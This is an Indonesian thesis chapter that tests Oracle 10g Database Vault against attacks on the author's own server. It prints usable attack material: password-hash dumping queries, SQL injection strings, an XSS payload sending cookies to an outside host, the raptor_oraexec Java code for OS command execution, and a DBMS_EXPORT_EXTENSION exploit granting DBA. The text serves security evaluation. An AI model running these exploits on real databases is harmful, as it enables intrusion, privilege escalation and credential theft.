• Tidak ada hasil yang ditemukan

IMPLEMENTASI DAN PENGUJIAN

4.2 Alter password database vault account manager

Bila database administrator tidak memiliki super privileges lagi setelah instalasi database vault, bagaimana jika merubah password database vault account manager sementara untuk memberi privilege pada user tertentu agar dapat mengakses database yang telah diproteksi dengan realm.

1. Buka web browser dan ketik url yang telah diberikan sebelumnya untuk koneksi ke isqlplus atau juga dapat melalui sqlplus yang berbasis text.

https://maroeti:5560/isqlplus

2. Show oracle password hash key, dengan mengetik SQL statements SELECT username, password FROM DBA_USERS;

atau

SELECT name,password FROM SYS.USER$ WHERE password is not null;

Gambar 4.1 Isqlplus menunjukkan username dan password

Seperti terlihat diatas seorang database administrator dan login sebagai system tetap bisa melihat semua password user

Rubah password database vault account manager untuk sementara dan memberikan GRANT untuk user tertentu

select username,password from dba_users where username='DVM'; alter user DVM identified by mypassword;

Dan hasilnya akan muncul pemberitahuan: “insufficient privileges”

Yang menerangkan bahwa user yang bersangkutan tidak memiliki privilege yang diminta untuk ALTER password user tertentu

Berikut ini adalah gambar dari perintah SQL untuk ALTER:

Gambar 4.2 Layar isqlplus menunjukkan tidak ada privilege

Teruji dengan adanya database vault seorang database administrator tidak bisa merubah password database vault account manager walaupun dapat melihat semua password database user yang terenkripsi. Namun hal ini juga bisa menjadi kendala berikutnya karena baik melalui isqlplus dan sqlplus „/as sysdba‟ user dapat mencari dekripsi dari password enkripsi yang terlihat.

Dengan mengetahui format password yang digunakan oleh oracle 10g maka akan lebih mudah lagi untuk mencari tool program dekripsi password yang

banyak tersebar di internet. Namun karena keterbatasan waktu maka penulis tidak melakukan percobaan untuk mendekripsi password-password database user tersebut.

Berdasarkan percobaan 4.1 dan 4.2 dapat diambil kesimpulan bahwa dengan ditambahkannya fitur database vault pada database oracle 10g dapat membatasi privilege DBA dan pembagian role sesuai dengan fungsi dari user. Sehingga keamanan data lebih dapat terjamin dan sesuai dengan peraturan Sarbanes-Oxley tentag integritas data. Akan tetapi database vault masih memiliki kelemahan dengan diketahuinya enkripsi password-password sehingga hal ini perlu jadi perhatian lebih lanjut bagi pihak oracle.

4.3 SQL Injection

Sql injection adalah penyisipan pada statemen sql yang umumnya digunakan para hacker untuk meretas web aplikasi. Pada web aplikasi seperti

mail.yahoo.com terdapat layar untuk memasukkan nama dan password. Pada saat kita memasukkan nama dan password dibagian url akan terlihat username=‟ „ dan password=‟ „, dibelakang dari isi username ditambahkan “or 1= 1--“ begitu juga pada password. Umumnya sql injection yang umum diketahui adalah code injection. Penulis akan mencoba meretas langsung ke server database oracle dengan sql injection, namun tidak melalui web aplikasi dan penggunaan oracle sebagai back end database yang terlindungi oleh firewall dan aplikasi-aplikasi intrusion detection system dikarenakan keterbatasan waktu dan keluar dari topik permasalahan.

a. Code Injection

Melakukan test autentifikasi apakah halaman web rentan atau tidak. Dengan memasukkan statemen pada box user name dan password atau pada halaman url itu sendiri.

SELECT id FROM users WHERE name='\' OR 1=1 ' AND pass='\' OR 1=1 LIMIT 1';

Mencoba semua kemungkinan yang ada: ' or 1=1-- " or 1=1-- or 1=1-- ' or 'a'='a " or "a"="a ') or ('a'='a „ or 1=func -- „ AND 1=func –

Untuk membuka halaman web pengatur database oracle maka pada kita tuliskan alamat url https://maroeti:1158/em pada web browser.

Pada kolom login, kita masukkan nama sembarang ditambah dengan kode-kode injeksi diatas, begitu juga dengan kolom password. Kita masukkan password sembarang ditambah dengan kode-kode injeksi diatas. Maka hasilnya adalah seperti gambar dibawah.

Gambar 4.3 Hasil dengan code injection pada oracle

Terlihat dari hasil gambar diatas bahwa muncul error dan pemberitahuan bahwa yang dapat login adalah sysdba atau sysoper. Jadi terbukti bahwa code injection tidak dapat digunakan untuk masuk ke server database oracle.

Selain itu penulis juga mencoba menggabungkan sql command untuk mengetahui nama host dengan command untuk menampilkan password dari dba_users

SQL> select utl_inaddr.get_host_name((select username||'='|| password from dba_users where rownum=1)) from dual;

Error at line 1:

ORA-29257: host SYS=D4DF7931AB130E37 unknown ORA-06512: at "SYS.UTL_INADDR", line 4 ORA-06512: at "SYS.UTL_INADDR", line 35 ORA-06512: at line 1

Dan hasilnya adalah dengan terlihatnya user name SYS dengan password yang terenkripsi. Seperti pada percobaan sebelumnya, yang dibutuhkan adalah tool untuk mendekripsi password tersebut. Disimpulkan bahwa code injection tidak dapat digunakan untuk akses ke server database oracle secara langsung, mungkin beda hasilnya jika injeksi pada web aplikasi dan oracle sebagai back end database.

b. Cross Site Scripting (XSS)

Merupakan salah satu jenis serangan web dengan memanfaatkan metode http get/http post. Cross site scripting dapat diartikan sebagai kelemahan yang terjadi akibat ketidakmampuan server dalam memvalidasi input yang diberikan oleh pengguna dan serangan dilakukan dengan cara memasukkan naskah program (biasanya java script) sebagai bagian dari teks masukan melalui form yang tersedia. Contoh java script yang sering digunakan:

ASCII Usage: http://host/a.php?variable="><script>document.location='http://ww w.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script> Hex Usage: http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74 %3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f %63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f% Pada saat kita memasukkan url: https://maroeti:5560/isqlplus maka

akan tampil jendela login seperti dibawah ini dan hanya dba_users yang dapat mengakesnya jadi jika tidak berwenang akan muncul error.

Gambar 4.4 Logon form pada isqlplus

Penulis mencoba meretas isqlplus dengan mengetik skrip berikut ini pada halaman login.

https://maroeti/isqlplus?action=logon&username=dummy%22%3e% 3cscript%3ealert('CSS')%3c/script%3e\&password=dsfsd%3cscript %3ealert('CSS')%3c/script%3e

Dan hasilnya adalah pemberitahuan tentang kegagalan koneksi dengan server database oracle.

Gambar 4.4 Hasil injeksi xss pada isqlplus

Terbukti dari hasil gambar diatas, cross site scripting tidak berhasil untuk meretas isqlplus oracle 10g.

c. Java exploitation

Cara lain untuk dapat mengakses file sistem di oracle selain tanpa menggunakan privilege CONNECT dan RESOURCES role (membutuhkan privilege khusus) yaitu dengan eksploitasi java pada utl_file package oracle. Dengan cara lain ini kita dapat menulis dan membaca file-file OS dengan privilege RDBMS user. Penulis mencoba mengeksploitasi utl_file oracle dengan menggunakan command sql raptor_oraexec.sql.

Oracle RDBMS dapat dianggap sebagai shell seperti bash atau windows command prompt, tidak hanya untuk menyimpan data tapi juga untuk melengkapi akses sistem file dan perintah sistem operasi. SQL>

create or replace and resolve java source named "oraexec" as import java.lang.*;

import java.io.*; public class oraexec {

Command execution module

public static void execCommand(String command) throws IOException

{

Runtime.getRuntime().exec(command); }

File reading module

public static void readFile(String filename) throws IOException

{

FileReader f = new FileReader(filename); BufferedReader fr = new BufferedReader(f); String text = fr.readLine();

while (text != null) {

System.out.println(text);

text = fr.readLine();

}

fr.close(); }

File writing module

public static void writeFile(String filename, String line) throws IOException

{

FileWriter f = new FileWriter(filename, true); /* append */

BufferedWriter fw = new BufferedWriter(f); fw.write(line);

fw.close(); }

} /

SQL> Java created.

usage: exec javacmd('command'); SQL>

create or replace procedure javacmd(p_command varchar2) as language java

name 'oraexec.execCommand(java.lang.String)'; /

SQL> Procedure created.

usage: exec dbms_java.set_output(2000); set serveroutput on;

exec javareadfile('/path/to/file');

SQL> create or replace procedure javareadfile(p_filename in varchar2) as

language java

name 'oraexec.readFile(java.lang.String)'; /

Procedure created.

usage: exec javawritefile('/path/to/file', 'line to append'); SQL> create or replace procedure javawritefile(p_filename in varchar2, p_line in varchar2) as

language java

name 'oraexec.writeFile(java.lang.String, java.lang.String)'; /

Lalu di lakukan test

SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l > /tmp/aaa');

PL/SQL procedure successfully completed.

SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l / > /tmp/bbb');

PL/SQL procedure successfully completed. SQL> exec dbms_java.set_output(2000); PL/SQL procedure successfully completed.

SQL> set serveroutput on;

SQL> exec javareadfile('/tmp/mytest'); /bin/ls -l > /tmp/aaa

/bin/ls -l / > /tmp/bbb

PL/SQL procedure successfully completed. SQL> exec javacmd('/bin/sh /tmp/mytest'); PL/SQL procedure successfully completed.

SQL> !sh

sh-3.2$ ls -rtl /tmp/

-rw-r--r-- 1 oracle oinstall 46 Aug 9 06:20 mytest -rw-r--r-- 1 oracle oinstall 1517 Aug 9 06:21 bbb -rw-r--r-- 1 oracle oinstall 505 Aug 9 06:21 aaa

Berdasarkan percobaan diatas dapat terlihat bahwa dengan mengeksploitasi java pada oracle dengan raptor_exec.sql, penulis dapat menuliskan perintah sistem operasi pada folder oinstall oracle. Folder oinstall adalah folder yang terbentuk pada saat instalasi awal oracle dan digunakan sebagai acuan untuk instalasi-instalasi berikutnya. Dengan eksploitasi pada perintah pada sistem operasi tidak tertutup kemungkinan jenis perintah yang dibuat selanjutnya

antara lain shutdown, restart dapat mengganggu dan merusak database.

d. Eksploitasi DBMS_EXPORT_EXTENTION

Paket dbms_export_extention diperlukan untuk melakukan export file pada database oracle. Isu rentannya fungsi get_domain_index_metadata pada dbms_export_extention yang dapat membuat user dengan akses database merubah privilegenya menjadi seorang DBA menjadi hal yang perlu diwaspadai. Berdasarkan data dari oracle sendiri, produk yang pernah terinfeksi adalah oracle dengan versi 10.1.0 kebawah. Penulis ingin mencoba mengeksploitasi dbms_export_extention pada oracle 10g release 2 yang telah di instalasi dengan fitur tambahan database vault.

Membuat paket dan injeksi fungsi, fungsi akan dijalankan dengan user SYS

CREATE OR REPLACE

PACKAGE MYBADPACKAGE AUTHID CURRENT_USER IS

FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3

VARCHAR2,p4 VARCHAR2,env SYS.odcienv) RETURN NUMBER;

END; /

CREATE OR REPLACE PACKAGE BODY MYBADPACKAGE IS

FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3

VARCHAR2,p4 VARCHAR2,env SYS.odcienv) RETURN NUMBER

IS

pragma autonomous_transaction; BEGIN

EXECUTE IMMEDIATE 'GRANT DBA TO HACKER'; COMMIT;

RETURN(1); END; END; /

Sisipkan fungsi ini pada dbms_export_extension DECLARE INDEX_NAME VARCHAR2(200); INDEX_SCHEMA VARCHAR2(200); TYPE_NAME VARCHAR2(200); TYPE_SCHEMA VARCHAR2(200); VERSION VARCHAR2(200); NEWBLOCK PLS_INTEGER; GMFLAGS NUMBER; v_Return VARCHAR2(200); BEGIN INDEX_NAME := 'A1'; INDEX_SCHEMA := 'HACKER'; TYPE_NAME := 'MYBADPACKAGE'; TYPE_SCHEMA := 'HACKER'; VERSION := '10.2.0.4.0'; GMFLAGS := 1; v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA( INDEX_NAME => INDEX_NAME, INDEX_SCHEMA => INDEX_SCHEMA, TYPE_NAME => TYPE_NAME,

TYPE_SCHEMA => TYPE_SCHEMA, VERSION => VERSION, NEWBLOCK => NEWBLOCK, GMFLAGS => GMFLAGS

); END; /

Berikut adalah gambar dari hasil exploitasi dbms_export_extention

Gambar 4.6 Hasil exploitasi dbms_export_extension

Seperti terlihat pada gambar diatas bahwa ada pelanggaran pada realm DVSYS.AUTHORIZE_EVENT walaupun sql command tersebut di jalankan dengan user SYS dan injeksi prosedur gagal. Dengan ini terbukti bahwa oracle 10g ditambah dengan database vault mampu menahan serangan exploitasi dbms_export_extention. Hal ini pun tampak pada laporan database vault untuk pelanggaran pada realm. Berikut adalah bentuk laporan yang diberikan database vault atas pelanggaran pada realm.

Gambar 4.7 Hasil laporan pada database vault

Dokumen terkait